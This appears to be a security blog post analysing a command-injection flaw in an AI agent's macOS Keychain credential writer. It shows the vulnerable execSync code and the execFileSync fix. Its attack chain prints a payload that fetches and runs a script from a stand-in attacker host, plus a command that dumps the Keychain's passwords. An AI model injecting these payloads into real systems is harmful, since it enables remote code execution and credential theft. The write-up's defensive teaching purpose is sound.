OpenClaw Keychain Injection: When Secure Storage Becomes a Shell

We live in the age of "Agentic AI." We don't just want chatbots that talk; we want agents that do. We want them to manage our calendars, commit our code, and handle our authentication keys. OpenClaw is one such ambitious project, designed to act as a personal AI assistant that integrates deeply with developer tools.

Specifically, OpenClaw features a module to manage authentication for the Claude CLI. To make life seamless for the user, it automatically refreshes OAuth tokens and saves them directly into the macOS Keychain using the native /usr/bin/security utility. It's a convenient feature that saves you from copy-pasting API keys every hour.

But here is the irony: in an effort to securely store secrets, OpenClaw created a massive hole. By trusting the data coming back from an OAuth provider, the application inadvertently handed the keys to the kingdom (quite literally, the Keychain) to anyone who could manipulate that data stream. It’s the classic story of convenience functionality bypassing security fundamentals.

If I had a nickel for every time a developer used string interpolation to build a system command, I’d have enough money to buy a zero-day broker. The vulnerability lies in src/agents/cli-credentials.ts within the writeClaudeCliKeychainCredentials function.

The logic was simple: take the new credentials (an object containing access and refresh tokens), serialize them to JSON, and update the keychain entry. The developer reached for Node.js's child_process.execSync. This function is the programmatic equivalent of typing a command into your terminal.

Here is where the "developer brain" failed. They assumed that because they were wrapping the JSON string in single quotes, it was safe. They even added a regex replace to handle single quotes inside the data. But they forgot that execSync spawns a shell (/bin/sh or /bin/zsh). Shells are hungry interpreters. They don't just look at quotes; they look for command substitutions ($()), backticks (`), and logic operators (&&, ||).

When the application constructed the command string, it embedded the user-controlled (or provider-controlled) token directly into the execute buffer. If that token contained shell metacharacters, the shell would eagerly execute them before passing the result to the security tool.

Let's look at the vulnerable code pattern. It's a textbook example of why you should never concatenate strings to run executables.

The Vulnerable Pattern (Simplified):

// DANGER: Do not do this at home
const newValue = JSON.stringify(credentials);
// The code attempts to escape single quotes, but nothing else
const escapedValue = newValue.replace(/'/g, "'\"'\"'");
 
// The command is passed as a single string to a shell
execSync(
  `security add-generic-password -U -s "${SERVICE}" -a "${ACCOUNT}" -w '${escapedValue}'`,
  { encoding: "utf8" }
);

If newValue contains $(touch /tmp/pwned), the shell sees a command substitution request. It executes touch /tmp/pwned first, takes the output (which is empty), and then runs the security command with an empty password. The attack has already happened.

The Fix (Commit 9dce3d8):

The patch is elegant and correct. It switches from execSync (shell execution) to execFileSync (process execution).

// SAFE: Arguments are passed as an array
execFileSync("security", [
  "add-generic-password",
  "-U",
  "-s", CLAUDE_CLI_KEYCHAIN_SERVICE,
  "-a", CLAUDE_CLI_KEYCHAIN_ACCOUNT,
  "-w", newValue, // Passed as a raw string argument. No shell involved.
], { encoding: "utf8" });

By passing the arguments as an array, Node.js invokes the security binary directly via the execvp syscall family. There is no shell to interpret special characters. $(...) is treated literally as the characters $ ( . . .. Chaos averted.

How does an attacker weaponize this? The input vector is the OAuth token response. This usually comes from a trusted provider (like Anthropic), but what if the user connects to a malicious proxy? What if a Man-in-the-Middle attack modifies the traffic? Or what if a rogue employee at a provider modifies the database?

The Attack Chain:

1. Setup: The attacker sets up a rogue OAuth provider or intercepts the callback URL.
2. Payload Construction: The attacker constructs a JSON response where the access_token includes a shell payload.
   • Payload: x'$(curl -s http://attacker.com/shell.sh | bash)'y
3. Trigger: The victim asks OpenClaw to "Refresh my Claude credentials."
4. Execution: OpenClaw receives the payload, wraps it in quotes, and sends it to execSync.
5. Detonation: The local shell sees the inner $() and executes the curl command. The victim's machine pulls down a script and executes it.

This is a particularly nasty vector because it's "blind." The user just sees their agent working, while in the background, a reverse shell has been popped.

This isn't just a crash. This is full Remote Code Execution (RCE) with the privileges of the logged-in user. On macOS, this is devastating.

1. Keychain Access: The command is already interacting with the Keychain. An attacker could modify the payload to $(security dump-keychain > /tmp/all_passwords.txt). They could steal every password stored on your Mac—Wi-Fi passwords, browser logins, SSH keys, code signing certificates.
2. Persistence: The attacker can easily establish persistence by writing a LaunchAgent or modifying .zshrc.
3. Lateral Movement: If the developer uses this machine for work (which they almost certainly do), the attacker now has access to corporate VPNs, source code repositories, and production environments.

This is a "game over" bug for the affected machine.